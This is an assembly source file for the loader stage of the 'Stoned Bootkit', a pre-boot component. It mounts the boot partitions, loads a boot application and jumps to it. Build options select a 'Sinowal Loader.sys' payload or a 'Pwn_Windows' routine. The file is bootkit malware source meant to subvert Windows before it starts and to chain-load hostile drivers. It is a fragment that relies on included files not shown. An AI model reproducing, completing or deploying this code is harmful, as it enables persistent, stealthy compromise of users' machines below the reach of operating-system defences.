; ******************************************************

;       Name: Operating System Loader
;       Author: Peter Kleissner
;       Version: 0.1
;       Date: 17.02.2008 17:11:31
;       last Update: 26.04.2009 14:02:22

;       Stoned Bootkit
;       (C) 2009 Vienna Computer Products

; ******************************************************

[bits 16]                                       ; create a 16 Bit Code
CPU 386                                         ; Assemble instructions up to the 386 instruction set

%include "Module Functions.asm"
%include "Kernel Storage.asm"

org System_Loader


; todo: add export for some undocumented functions
; + create Service Interrupt Handler and far call address



; hide the cursor, no one needs it
call API_Hide_Cursor

; enable background colors, disable auto-blink
call API_Enable_Extended_Colors

; mount all drives (partitions) of the boot drive
call API_Mount_Boot_Partitions

; clear the Textmode Screen
;call API_Clear_Textmode_Screen


%ifdef Sinowal or Windows
; load boot application
push dword Boot_Application
push dword File_Boot_Application
call API_Load_System_File
jnc Loading_Boot_Application_Successful


; error loading boot application

; write out failed message (currently without error code)
call API_Clear_Textmode_Screen

mov eax,Error_Message_Loading_File
call API_Debug_Message

mov eax,[esp]
call API_Debug_Message

cli
hlt

Loading_Boot_Application_Successful:
%endif



; execute the boot application
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx

mov ds,ax
mov es,ax
mov fs,ax
mov gs,ax

%ifdef Sinowal or Windows
jmp 0000h:Boot_Application
%elifdef WinModule
jmp 0000h:Pwn_Windows
%endif





%ifdef Sinowal
File_Boot_Application                   db  "?:\Stoned\Applications\Sinowal Loader.sys", 0
%elifdef Windows
File_Boot_Application                   db  "?:\Stoned\Applications\Windows.sys", 0
%endif


%ifdef Sinowal or Windows
Error_Message_Loading_File              db  "Error loading the Boot Application:", 0
%endif

